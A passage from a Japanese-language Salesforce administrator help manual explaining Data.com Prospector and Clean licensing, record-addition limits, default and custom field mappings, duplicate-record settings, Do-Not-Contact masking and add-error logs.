• 2 人の営業担当者にそれぞれ上限 1,000

Data.comリストユーザ
Data.com List ユーザは 1 か月あたりに追加またはエクスポートできる取引先、取引先責任者、リードのレコード
数を制限されています。使用されなかったレコード追加数は各月の月末で期限切れになります。翌月には繰り
越されません。リストユーザは、1 か月あたりの制限を使用した後に、組織内のすべてのリストユーザが共有
するプールから引き出してレコードを追加できます。未使用のプール追加は、購入から 1 年で有効期限が切れ
ます。組織のプール制限を取得できるのは Data.com リストユーザのみです。Data.com ユーザが組織のプール制
限を取得する場合は、そのユーザを Data.com リストユーザに変更する必要があります。

例:  Universal Telco 社のマーケティング部門には 4 人のマーケティング担当者がいます。各担当者は 1 つの
Data.com Prospector ライセンスを持ち、各担当者が Data.com リストユーザです。Universal Telco 社では、各
Data.comユーザのデフォルトの 1 か月あたりの制限が 300 レコードになるように、1 か月あたりのレコード
追加数を十分に購入しています。また、5,000 レコードのレコード追加プールも購入しました。マーケティ
ング担当者は、個人の 1 か月あたりの制限を使用した後に、プール制限の使用を開始できます。全体で、
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4 人のマーケティング担当者全員でプールから 5,000 レコードを追加できます。1 人の担当者が 2,500 件の
レコードを追加したとすると、その他の 3 人のユーザのうち 1 人以上で残り 2,500 件を追加できます。

関連トピック:

Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ

Data.com Clean のライセンスはどのように機能しますか?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

組織がData.com Prospectorを使用している場合、そのライセンスを持つユーザは、
アクセス可能な取引先、取引先責任者、およびリードのレコードを手動で更新
できます。組織にData.com Cleanライセンスがある場合は、Data.com クリーンアッ
プジョブを使用してレコードを更新できます。また、データインテグレーショ
ンを使用して、レコードの追加時または保存時にレコードを更新できます。
Data.com Cleanライセンスを持つユーザは、Data.com Prospectorライセンスを持って
いなくても手動でレコードを更新できます。
[設定] の [Data.com ライセンスと制限] ページには、各種ライセンスで使用できる
オプションについての説明があります。

メモ: Data.com Prospectorのみを購入した組織の場合、ライセンスを持つユー
ザのみがレコードを更新できます。

関連トピック:

Data.com ユーザ種別、ライセンス、およびレコード追加制限のしくみ
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Data.com Prospector に対する Data.com Clean の有効化

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com Clean を有効化
または無効化する
• 「アプリケーションの

カスタマイズ」

ユーザが取引先、取引先責任者、およびリードレコードを手動でクリーンアッ
プできるようにします。別のソースから追加されたレコードのクリーンアップ
も可能です。Data.com Prospector を使用すると自動的に Clean が有効になり、取引
先またはリードレコードにリンクされている D&B 企業レコードを手動でクリー
ンアップできます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

メモ:

• Data.com Cleanを購入した場合は、取引先、取引先責任者、およびリード
レコードを手動でクリーンアップしたり、自動化されたジョブでクリー
ンアップしたりできます。また、自動化されたジョブを使用して、取引
先またはリードレコードにリンクされている D&B 企業レコードをクリー
ンアップすることもできます。詳細については、「Data.com Clean の設
定」を参照してください。

• Clean を有効にしても、レコードが直ちにクリーンアップされるわけで
はありません。[無効化]をクリックすると、この機能を無効にすること
ができます。

• データインテグレーションは、Data.com Prospectorでは自動的に使用可能
になりません。

1. [設定] から、[クイック検索] ボックスに「クリーンアップ設定」と入力し、
[クリーンアップ設定] を選択します。

2. Data.com Clean が有効化されていることを確認します。

Data.com Clean と Salesforce 項目のカスタム対応付けでの考慮事項
Data.com Clean のカスタム対応付けでは、値が必要な Salesforce 取引先、取引先責任者、リードの各項目に
Data.com 値を入力します。項目を対応付ける前に、対応付けが機能するしくみ、必要な準備、および予期
される結果について理解しておいてください。
Salesforce での重複 Data.com レコードの許可に関する考慮事項
共有モデルを使用する組織では、Data.com ユーザが Salesforce に取引先、取引先責任者、またはリードのレ
コードを重複して追加できるようにする必要が生じる場合があります。

関連トピック:

Data.com Clean

データインテグレーション
Data.com Clean の設定
データインテグレーションの設定
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Data.com Clean と Salesforce 項目のカスタム対応付けでの考慮事項

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean のカスタム対応付けでは、値が必要な Salesforce 取引先、取引先責
任者、リードの各項目に Data.com 値を入力します。項目を対応付ける前に、対
応付けが機能するしくみ、必要な準備、および予期される結果について理解し
ておいてください。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

すべての Data.com 項目がすべての Salesforce 項目で使用できるわけではありませ
ん。対応付け可能にするには、新しいSalesforce項目をデフォルト項目と同じデー
タ型にしておく必要があります。たとえば、[説明]項目は 1,000 文字以上を含む
ロングテキストエリア項目に対応付けることができます。
Data.com Clean カスタム項目の対応付けは、次の場合に適用されます。
• Data.com Prospector を使用して Salesforce にレコードを追加した場合
• 1 つのレコードのクリーンアップ、リスト内のレコードのクリーンアップ、

または自動ジョブによるレコードのクリーンアップを行った場合
項目を対応付ける前に、想定される結果と必要な関連操作について理解しておいてください。
• 項目を対応付けたり、対応付けを更新したりすると、強制的に Data.com と完全に同期されます。つまり、

有効な CRM オブジェクトのすべてのレコード (取引先、取引先責任者、およびリード) は変更されたレコー
ドがなくても更新されます。

• Data.com 項目の対応付けが、取引先、取引先責任者、リード、または D&B 企業レコードに対して行った
Salesforce 項目のカスタマイズ (承認、ワークフロールール、または Apex トリガ) と競合する可能性がありま
す。必要に応じて、カスタマイズの内容を確認して編集し、対応付けによって提供される値に対処できる
ようにします。

• 個々の Data.com 項目の対応付けをスキップすることはできますが、スキップされた項目の値は追加または
エクスポートされず、レコードのクリーンアップ状況を計算する場合に考慮されません。

• Salesforce および Data.com レコードの照合に使用される項目の対応付けをスキップまたは変更すると、一部
のレコードのクリーンアップ状況が [該当なし] に変わる可能性があります。

• 取引先レコードの場合、[D-U-N-S 番号] 項目の対応付けをスキップまたは変更すると、すべての取引先
ジョブで [D-U-N-S 番号] 項目ではなく Data.com マッチングサービスを使用して取引先レコードが再照合
されます。

• 項目の対応付けおよびクリーンアップジョブの設定でフラグの設定、自動入力、Salesforce 項目の上書きを
行う場合、これらの設定を行うときにカスタム対応付け項目を確認します。デフォルトの対応付け (Data.com

[電話] 項目から Salesforce [電話] 項目など) は表示されません。
• Data.com 検索結果をエクスポートすると、Excel ファイルの列ヘッダーに、対応付けされた項目名が表示さ

れます。たとえば、Data.com [電話] 項目を、取引先責任者オブジェクトの [携帯] 項目に対応付けると、
取引先責任者には「電話」ではなく「携帯」というヘッダーが表示されます。

• 値がないData.com項目を対応付けると、一部の Salesforce レコードは [該当なし]というクリーンアップ状況
に戻る場合があります。

• Data.com項目をカスタムSalesforce項目に対応付けると、カスタム項目のラベルがクリーンアップの比較ペー
ジに表示されます。
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• 項目の対応付けに対する変更を追跡する場合は、設定変更履歴を確認してください。[設定] から、[クイッ
ク検索] ボックスに「設定変更履歴の参照」と入力し、[設定変更履歴の参照] を選択します。

デフォルトの Data.com 項目と Salesforce 項目の対応付け
Data.com Prospectorでレコードを追加したり、Data.com Cleanでレポートを更新したりするときに、Salesforce項
目が Data.com から値を取得する場合があります。Salesforce システム管理者はこれらの項目の対応付けをカ
スタマイズできます。
Data.com と Salesforce 間の項目の対応付けのカスタマイズ
カスタム対応付けを作成して、特定の Salesforce 項目に Data.com 値を入力できます。

関連トピック:

データインテグレーションルールのカスタム対応付けに関する考慮事項
デフォルトの Data.com 項目と Salesforce 項目の対応付け
Data.com と Salesforce 間の項目の対応付けのカスタマイズ
Data.com の互換性を確保するためのトリガおよびワークフロールールの確認

デフォルトの Data.com 項目と Salesforce 項目の対応付け

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospectorでレコードを追加したり、Data.com Cleanでレポートを更新した
りするときに、Salesforce 項目が Data.com から値を取得する場合があります。
Salesforce システム管理者はこれらの項目の対応付けをカスタマイズできます。
デフォルト項目は、オブジェクトの [ページレイアウト] > [項目]セクションで使
用できます。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

取引先

取引先項目Data.com 項目

年間売上[年間売上]  (米ドル)*

説明会社の説明

D-U-N-S 番号D-U-N-S 番号

FaxFax 番号

取引先 部門場所種別

住所(納入先)[住所(郵送先)]  **

従業員数従業員数 - 合計

会社形態所有者種別インジケータ
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取引先項目Data.com 項目

住所(請求先)第 1 住所

取引先名第 1 会社名

NAICS コード第 1 NAICS コード

NAICS の説明第 1 NAICS の説明

産業コード第 1 SIC コード

産業区分の説明第 1 SIC の説明

取引形態第 1 取引形態

電話電話番号

株式コード株式コード

Web サイトURL

設立年設立年

ヒント: デフォルトでは、すべての Data.com 項目が [取引先] ページに対応付けられるわけではありませ
ん。他の Data.com 項目を [取引先] の項目に対応付けるには、「Data.com と Salesforce 間の項目の対応付けの
カスタマイズ」 (ページ2067)を参照し、最新のリリースノートで対応付け可能な新しい項目を確認してく
ださい。

取引先責任者

取引先責任者項目D&B 項目

住所(郵送先)第 1 住所

取引先名第 1 会社名

リード

リード項目D&B 項目

年間売上[年間売上]* (米ドル)

説明会社の説明

会社 D-U-N-S 番号D-U-N-S 番号

従業員数従業員数 — 合計

町名・番地第 1 住所
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リード項目D&B 項目

会社第 1 会社名

* Data.com [年間売上]項目にはアクセスできません。これは、Salesforceの [年間売上]項目に入力するためにの
み使用されます。
** Data.com Clean では取引先に [住所(郵送先)] の対応付けを使用しません。[第 1 住所] 値のみを使用して取
引先を更新します。

関連トピック:

Data.com と Salesforce 間の項目の対応付けのカスタマイズ
デフォルトの Data.com 項目と Salesforce 項目の対応付け
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Data.com と Salesforce 間の項目の対応付けのカスタマイズ

エディション

使用可能なインター
フェース: Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com を実装する
• 「アプリケーションの

カスタマイズ」

Data.com ユーザを有効化
する
• 「内部ユーザの管理」

AppExchange パッケージ
をインストールする
• 「AppExchange パッ

ケージのダウンロー
ド」

カスタム対応付けを作成して、特定の Salesforce 項目に Data.com 値を入力できま
す。

段階的な手順: Data.com と Salesforce 間の項目の対応付けをカスタマイズす
る
Data.com Clean カスタム項目の対応付けは、次の場合に適用されます。
• Data.com Prospector を使用して Salesforce にレコードを追加した場合
• 1 つのレコードのクリーンアップ、リスト内のレコードのクリーンアップ、

または自動ジョブによるレコードのクリーンアップを行った場合
項目の対応付けを変更する前に、対応付けが機能するしくみ、必要な準備、お
よび予期される結果について理解しておいてください。

メモ: すべての Data.com 項目がすべての Salesforce 項目で使用できるわけで
はありません。対応付け可能にするには、新しい Salesforce 項目をデフォル
ト項目と同じデータ型にしておく必要があります。たとえば、[説明]項目
は 1,000 文字以上を含むロングテキストエリア項目に対応付けることができ
ます。

1. [設定] から、Data.com項目を対応付けるオブジェクトの名前 ([取引先]など) を
入力し、[項目] を選択します。

2. 項目を対応付けるオブジェクトの [カスタム項目 & リレーション] ([取引先カ
スタム項目 & リレーション] など) の横にある [新規] をクリックします。

3. ヒント: [Data.com 管理] から対応付ける前に、項目を追加するオブジェ
クトに項目をすべて作成することをお勧めします。

[カスタム項目の新規作成] ウィザードの手順に従います。終了したら必ず[保
存] をクリックします。

4. [設定] から、[Data.com 管理] を入力して、[項目の対応付け] をクリックしま
す。

5. 対応付ける項目を検索し、その項目の横にあるリストボックスからカスタム
対応付けを選択します。

6. [保存] をクリックします。

関連トピック:

データインテグレーションルールのカスタム対応付けに関する考慮事項
デフォルトの Data.com 項目と Salesforce 項目の対応付け
Data.com Clean と Salesforce 項目のカスタム対応付けでの考慮事項
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Salesforce での重複 Data.com レコードの許可に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

共有モデルを使用する組織では、Data.comユーザがSalesforceに取引先、取引先責
任者、またはリードのレコードを重複して追加できるようにする必要が生じる
場合があります。
重複設定を設定する場合は、次の点に留意してください。
• レコードは、[Data.com キー] 項目に同じ Data.com ID 番号を持っている場

合に重複しているとみなされます。これには、取引先責任者およびリードの
両方として Data.com から追加されたレコードが含まれます。

• 重複は、個人のユーザではなく、組織全体に対して、オブジェクトごとに許
可できます。ただし、ユーザまたはプロファイルが重複レコードを追加でき
ないようにする場合は、トリガを作成できます。

• Salesforceにすでに存在するレコードには、検索結果で緑色のドット ( ) のマー
クが付けられます。組織でそのオブジェクトに対する重複が許可されている
場合、Data.com ユーザはこれらのレコードを再度追加することができます。

• Data.com から Salesforce に追加されたレコードには、検索結果で青色のチェッ
クマーク ( ) が付けられます。組織でそのオブジェクトに対する重複が許可
されている場合、Data.com ユーザはこれらのレコードを再度追加することができます。レコードの追加は、
そのレコードが最初に Salesforce に追加されるときのみレコード残数に影響を与えます。重複レコードの追
加は、レコード残数に影響を与えません。

• Data.com の設定で重複が許可されている一方で、重複レコードを作成できないようにする重複ルールを組
織が使用している場合、重複レコードを許可するかブロックするかは重複ルールによって決定されます。
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Data.com Prospector の設定

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com Prospector を実
装する
• 「アプリケーションの

カスタマイズ」

Data.com Prospectorには、[D-U-N-S 番号]、[NAICS コード]、[取引形態]など、
Dun & Bradstreet の取引先とリードの基本セットのデータが用意されています。こ
こでは、この製品の実装方法を説明します。

メモ: 組織にある Data.com Prospector 製品の詳細を確認するには、[設定] か
ら、[クイック検索] ボックスに「ライセンスと制限」と入力し、[ライセン
スと制限] を選択します。[ライセンスと制限] ページで、Data.com Prospector

ライセンスセクションを確認します。
1. Data.com が実装されていることを確認してください。
2. Data.com Cleanを有効にして、ユーザが取引先、取引先責任者、およびリード

レコードを手動でクリーンアップできるようにします。
3. 取引先、取引先責任者、およびリードのページレイアウトに必要なボタンと

項目を設定します。
4. Enterprise Edition、Unlimited Edition、または Performance Edition を使用している場

合は、D&B が提供する項目がユーザに表示されるように項目レベルセキュリ
ティを更新する必要があります。

設定のベストプラクティス
製品が提供する項目に対する入力規則を作成すると、製品の使用を停止しても
その入力規則が引き続き実行されます。その場合は、そのような項目を使用す
る入力規則をすべて無効にしてください。Data.com Prospectorの項目については、
ヘルプトピック「取引先項目」と「リード項目」を参照してください。
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Data.com Prospector の設定

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com Prospector を実
装する
• 「アプリケーションの

カスタマイズ」

Data.com Prospector で、Data.com から Salesforce に追加した取引先およびリードの
Dun & Bradstreet 項目を取得します。

メモ: 組織にある Data.com Prospector 製品の詳細を確認するには、[設定] か
ら、[クイック検索] ボックスに「ライセンスと制限」と入力し、[ライセン
スと制限] を選択します。[ライセンスと制限] ページで、Data.com Prospector

ライセンスセクションを確認します。
ここでは、Data.com Prospector の設定方法を説明します。
1. Data.com Prospector が実装されていることを確認してください。
2. Data.com Cleanを有効にして、ユーザが取引先レコード、取引先責任者レコー

ド、およびリードレコードを手動でクリーンアップできるようにします。
3. 取引先、取引先責任者、およびリードのページレイアウトに必要なボタンと

項目を設定します。
4. Professional Edition、Enterprise Edition、Unlimited Edition、または Performance Edition

を使用している場合は、D&B が提供する項目がユーザに表示されるように項
目レベルセキュリティを更新する必要があります。

5. [D&B 企業情報] タブをユーザプロファイルに追加します。
6. [標準オブジェクト権限] で、プロファイルに [D&B 企業] の参照および削除

権限が選択されていることを確認します。
7. (省略可能) D&B 企業レコードにはデフォルトレイアウトが用意されています

が、必要に応じて高度なページレイアウトエディタを使用してページレイアウトをカスタマイズすること
もできます。

設定のベストプラクティス
• D&B 企業レコードの参照と削除をユーザに許可できます。これを行うには、標準プロファイルとカスタム

プロファイルに権限を割り当てます。
標準プロファイルの場合は、事前に割り当てられた「D&B 企業のレコードを参照」権限に加えて、「D&B

企業のレコードを削除」権限を割り当てます。
カスタムプロファイルの場合は、[D&B 企業のレコードを参照] と [D&B 企業のレコードを削除] の両方の
権限を割り当てます。

• 製品が提供する項目に対する入力規則を作成すると、製品の使用を停止してもその入力規則が引き続き実
行されます。その場合は、そのような項目を使用する入力規則をすべて無効にしてください。Data.com

Prospector の項目については、ヘルプトピック「取引先項目」と「リード項目」を参照してください。

関連トピック:

Salesforce 内で必要な高品質のデータの取得
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Data.com 検索結果および関連機能へのアクセスの管理

エディション

使用可能なエディション:
Salesforce Classic

Data.com プロスペクタラ
イセンスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com を実装する
• 「アプリケーションの

カスタマイズ」

[Salesforce に追加] と [エクスポートの結果] を使用すると、検索結果を使用する
Data.com機能で、ユーザがData.com検索結果で実行できる操作を制限できます。
[ボタン設定]設定の下のチェックボックスで、特定のData.com プロスペクタ機能
が組織のユーザに表示されるかどうかを制御します。

警告: ボタン設定を変更すると、Classic 機能と Lightning 機能の両方で [取引
先責任者の検索] および [取引先の検索] に関連付けられているすべての機
能に影響します。

1. [設定] から、[クイック検索]ボックスに「Prospector 設定」と入力し、[プ
ロスペクタ設定] を選択します。

2. ページの [ボタン設定]セクションで、非表示にするものをオフにし、表示す
るものをオンにします。

3. [保存] をクリックします。

Data.com プロスペクティングインサイトの表示の確認
Data.com Prospector ライセンスがあるのに [インサイトの表示件数を増やす] ボ
タンが取引先詳細ページに表示されない場合は、ニュース機能が有効になっ
ているか確認してください。
既存の組織の Lightning Experience での [取引先責任者を取得] ボタンの有効化
[追加取引先責任者を取得] ボタンは、[Data.com Prospector 設定] で [ボタン設
定] が選択されている場合にのみ取引先詳細ページに表示されます。

Data.com プロスペクティングインサイトの表示の確認
Data.com Prospector ライセンスがあるのに [インサイトの表示件数を増やす] ボタンが取引先詳細ページに表示さ
れない場合は、ニュース機能が有効になっているか確認してください。
1. [設定] から、[クイック検索] ボックスに「取引先設定」と入力し、[取引先設定] をクリックします。
2. [編集] をクリックします。
3. [ニュースを有効化] を選択します。
4. 変更内容を保存します。

既存の組織の Lightning Experience での [取引先責任者を取得] ボタンの有効化
[追加取引先責任者を取得] ボタンは、[Data.com Prospector 設定] で [ボタン設定] が選択されている場合にのみ
取引先詳細ページに表示されます。
Data.com Prospector ライセンスがあっても、[追加取引先責任者を取得] ボタンが取引先詳細ページに表示されな
い場合は、[Data.com Prospector 設定] で [ボタン設定] が選択されていることを確認します。
[追加取引先責任者を取得] ボタンを組織の取引先詳細ページに表示する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「Prospector 設定」と入力し、[ボタン設定]セクションまでスク

ロールします。
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2. [取引先責任者の検索] と [取引先の検索] の両方で [Salesforce に追加] を選択します。
3. [保存] をクリックします。

Data.com 検索結果およびエクスポートでの連絡拒否設定の考慮

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com を実装する
• 「アプリケーションの

カスタマイズ」

Data.com検索結果およびエクスポートファイルでは、特定の取引先責任者情報を
非表示にできます。
具体的には、次の値をマスクまたは削除できます。
• Salesforce ですでに [電話連絡拒否] または [メール送信除外] がオンになって

いる取引先責任者レコードおよびリードレコードのメールまたは電話番号の
値

• カナダの住所 (カナダのプライバシー要件に対応する) を持つすべての取引先
責任者およびリードレコードのメールの値

たとえば、Salesforce に Sally Larkin に関するリードレコードがあり、そのレコード
では [電話連絡拒否] チェックボックスがオンになっているとします。Data.com

タブで Sally Larkin を取引先責任者として検索すると、彼女のレコードが検索結果
リストに Salesforce にすでに存在するものとしてマーク ( ) が付けられて表示さ
れます。[電話] 項目は検索結果リストでマスクされ、Sally の取引先責任者カー
ドでもマスクされます。レコードをエクスポートすると、その [電話] 項目は
.csv ファイルで空白になります。
1. [設定] から、[クイック検索]ボックスに「設定」と入力し、[プロスペクタ設

定] を選択します。
2. [連絡拒否設定を考慮およびカナダのプライバシー要件] を選択します。

[電話連絡拒否] または [メール送信除外] がオンになっているレコードの場
合、[電話] または [メール] 項目の値は検索結果と取引先責任者カードでマ
スクされ、レポートをエクスポートすると作成される .csv ファイルでは空白になります。カナダの住所
があるレコードの場合、[メール]項目の値は検索結果と取引先責任者カードでマスクされ、レコードをエ
クスポートすると作成される .csv ファイルでは空白になります。

Data.com API 機能の有効化または無効化
Data.com API 機能は、デフォルトで有効になっています。
1. [設定] から、[クイック検索] ボックスに「Data.com 管理」と入力し、[API 設定] を選択します。
2. [Data.com API アクセス] チェックボックスをオンまたはオフにします。
3. ページを保存します。
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Data.com Prospector を使用した企業、取引先責任者、およびリードの見込み調査のガイド
ライン

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Prospectorには 2 つのバージョンがあります。どちらのバージョンでも、
Data.comのデータを検索および追加できます。これら 2 つのバージョンを実装す
るためのガイドラインを確認してください。

メモ: 検索で大量の結果が返された場合、11 ページ以降のデータは表示さ
れません。無制限ビューを有効化する場合は、Salesforce カスタマーサポー
トにお問い合わせください。

• 一度に 200 を超えるリードをSalesforceに追加すると、組織で使用しているリー
ド割り当てルールが実行されません。リード割り当てルールを確実に実行す
るために、一度に追加するリードを 200 未満に制限するようにユーザに指示
してください。

• 組織で Data.com に対応付けられた項目に対して入力規則を使用している場
合、レコード追加時のエラーを避けるには、入力規則を無効にするか、該当
項目が Data.com 項目名と一致することを確認します。
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Data.com レコード追加エラーの解決

エディション

使用可能なエディション:
Salesforce Classic

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

Data.com から取引先を追
加する
• 取引先に対する「作

成」

Data.com から取引先責任
者を追加する
• 取引先責任者に対する

「作成」

Data.com 取引先責任者を
取引先から追加する
• 取引先に対する「参

照」および取引先責任
者に対する「作成」

Data.com 取引先責任者を
リードとして追加する
• リードに対する「作

成」

エラーが発生して 1 つ以上のData.comレコードをSalesforceに追加できない場合、
レコード追加エラーの修正に役立つ .csv エラーログファイルが提供されます。
このエラーログが提供される方法は、実行しようとしている操作によって異な
ります。追加を実行しようとすると、次のようになります。
• 200 件未満のレコードの場合は、[ファイル] タブにあるエラーログへのリンク

が記載されたメッセージが表示されます。
• 200 件以上のレコードの場合は、[ファイル] タブにあるエラーログへのリンク

が記載されたメールを受け取ります。
• レコード数が任意で、Chatterを有効にしていない場合は、エラーログが添付

されたメールを受け取ります。
1. レコード追加エラーログを開いて、エラーを確認し、次のいずれかの処理を

行います。
• 重複レコードに関するエラーがある場合、何も行う必要はありません。

重複エラーは、レコードが Salesforce にすでにあることを意味するため、
もう一度レコードを追加する必要はありません。Data.com設定で重複を許
可するように設定すると、エラーログに重複エラーは含まれなくなりま
す。Data.comの設定で重複が許可されている一方で、重複レコードを作成
できないようにする重複ルールを組織が使用している場合、重複レコー
ドを許可するかブロックするかは重複ルールによって決定されます。重
複ルールによってブロックされたレコードは、エラーログに表示されま
す。

• トリガ、入力規則、またはワークフローなど、組織のカスタム設定に関
するエラーがある場合、それらの設定の修正が必要な可能性があるため、
システム管理者に通知します。

• 組織で州/国選択リストを使用しており、使用可能な都道府県または国に
関するエラーが表示された場合は、その都道府県または国を選択リスト
に追加する必要があるため、システム管理者に通知します。

• その他のエラーについてはシステム管理者に連絡してください。システ
ム管理者が Salesforce カスタマーサポートに連絡する必要がある場合があ
ります。

2. システム管理者がエラーを解決したら、Data.com レコードを Salesforce にもう
一度追加してみます。
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取引先、取引先責任者、リードクリーンアップ情報のカスタムレポートタイプの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

ユーザ権限

カスタムレポートタイプ
を作成または更新する
• 「カスタムレポートタ

イプの管理」

カスタムレポートタイプ
を削除する
• 「すべてのデータの編

集」

取引先、取引先責任者、リードのクリーンアップ情報に関するレポートに対し
てカスタムレポートタイプを作成します。クリーンアップ情報のカスタムレポー
トタイプは、1 つのレポートで複数のレコードのクリーンアップ情報を見やすく
するのに役立ちます。その情報を使用して、データのパターンや動向を識別し
たり、レコードのクリーンアップ方法を管理または変更したりします。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

1. [設定] から、[クイック検索]ボックスに「レポートタイプ」と入力し、[レポー
トタイプ] を選択します。

2. [新規カスタムレポートタイプ] をクリックします。
3. [主オブジェクト] には [取引先]、[取引先責任者]、または[リード]  (レポー

ト対象とするオブジェクト) を選択し、他の必須項目を定義します。
4. [カテゴリ] には[取引先と取引先責任者]または [リード]のいずれかを適宜選

択します。
5. [次へ] をクリックします。
6. 付随するクリーンアップ情報オブジェクト (取引先クリーンアップ情報、取

引先責任者クリーンアップ情報、またはリードクリーンアップ情報) を、選
択した主オブジェクトに関連付けます。[A から B の関係]のデフォルトを
受け入れます。

7. リリース状況を選択します。
8. [保存] をクリックします。
これで、新しいカスタムレポートタイプに基づいてカスタムレポートを作成で
きるようになりました。

関連トピック:

カスタムレポートタイプの作成
特定の Data.com クリーンアップ状況のレコードに関するレポート
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Data.com Clean がレコードを照合する方法は?

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

Data.com Prospector ライ
センスを使用可能なエ
ディション: Contact
Manager Edition (リードオ
ブジェクトなし)、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

Data.com Clean ライセン
スで使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、Performance
Edition、および Unlimited
Edition

取引先、取引先責任者、およびリードのデータを Data.com Clean でクリーンアッ
プする場合、レコードが Data.com のレコードとどのように比較、照合されるの
かを理解することが重要です。

メモ: この情報は、Data.com Clean に適用され、データインテグレーション
には適用されません。

ヒント:  Data.com Clean マッチングサービスのしくみについての詳細 (グラ
フィックな概要と豊富な例を含む) は、ホワイトペーパー『Data.com Clean

Record Matching in Salesforce』を参照してください。
デモビデオを見る: 一致ルールについて
Data.com Cleanを使用する場合、Salesforce レコードとData.comレコードの比較、照
合には 2 つの方法があります。
• 手動。ユーザが個々の取引先、取引先責任者、またはリードレコードで [ク

リーンアップ] をクリックします。
• クリーンアップジョブの使用。自動的にすべての取引先、取引先責任者、ま

たはリードレコードの照合が試みられます。
自動クリーンアップジョブは、Data.com Clean を購入した組織のみが使用できま
す。手動クリーンアップは、Data.com Prospectorのライセンスを持つすべてのユー
ザが使用できます。
ジョブが手動か自動かに関係なく、レコードを初めてクリーンアップするとき、
マッチングサービスはData.comで類似のレコードを検索します。マッチングサー
ビスは各レコードの項目値を調べ、2 つのレコードが同じエンティティ (つまり、
同じ取引先、取引先責任者、またはリード) を表すことを示すのに十分な同一または類似の情報を探します。
Data.com で一致が見つかると、2 つのレコードは [Data.com キー] 項目の数値によってリンクされます。取
引先責任者レコードとリードレコードの場合、レコードがクリーンアップされるたびに、マッチングサービス
を使用してレコードが照合されます。取引先レコードの場合、レコードがクリーンアップされるたびに、
[D-U-N-S 番号] 項目を使用してレコードが照合 (または検索) されます。[D-U-N-S 番号] 項目が空白の場
合、マッチングサービスを使用して一致が検索されます。レコードが大幅に変更された場合、次回のクリーン
アップ時に、マッチングサービスが他のData.comレコードから一致度のより高いレコードを探すことがありま
す。

メモ:

• D-U-N-S number が存在するかどうかに関係なく、マッチングサービスを使用して取引先レコードの再照
合を行う場合は、Salesforce カスタマーサポートにお問い合わせください。ただし、この場合、一部の
取引先レコードは、Data.com Clean の状況が [該当なし] になる可能性があります。

• [D-U-N-S 番号] 項目を再対応付けしたか、対応付けをスキップした場合、または 2011 年 12 月 16 日
よりも前に Data.com を購入している場合、マッチングサービスを使用して取引先レコードが再照合さ
れます。

取引先責任者とリードの場合、次の重要項目があります。
